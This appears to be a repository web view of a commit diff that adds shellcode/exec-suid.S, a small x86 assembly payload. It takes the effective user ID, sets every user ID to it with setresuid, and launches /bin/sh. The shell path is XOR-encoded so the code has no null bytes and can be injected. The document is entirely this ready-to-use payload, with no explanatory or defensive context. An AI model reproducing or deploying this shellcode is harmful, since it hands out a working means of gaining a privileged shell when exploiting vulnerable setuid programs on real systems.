summaryrefslogtreecommitdiff
path: root/shellcode/exec-suid.S
diff options
context:
space:
mode:
Diffstat (limited to 'shellcode/exec-suid.S')
-rw-r--r--shellcode/exec-suid.S21
1 files changed, 21 insertions, 0 deletions
diff --git a/shellcode/exec-suid.S b/shellcode/exec-suid.S
new file mode 100644
index 0000000..94ec68a
--- /dev/null
+++ b/shellcode/exec-suid.S
@@ -0,0 +1,21 @@
+.global _start
+_start:
+ xorl %eax, %eax
+ addb $201, %al # geteuid
+ int $0x80
+ movl %eax, %ebx
+ movl %eax, %ecx
+ movl %eax, %edx
+ xorl %eax, %eax
+ addb $208, %al # setresuid
+ int $0x80
+ xorl %eax, %eax
+ addb $11, %al
+ movl $0x3058431f, %ebx
+ xorl $0x30303030, %ebx # "/sh\0"
+ pushl %ebx
+ pushl $0x6e69622f # "/bin"
+ movl %esp, %ebx
+ xorl %ecx, %ecx
+ xorl %edx, %edx
+ int $0x80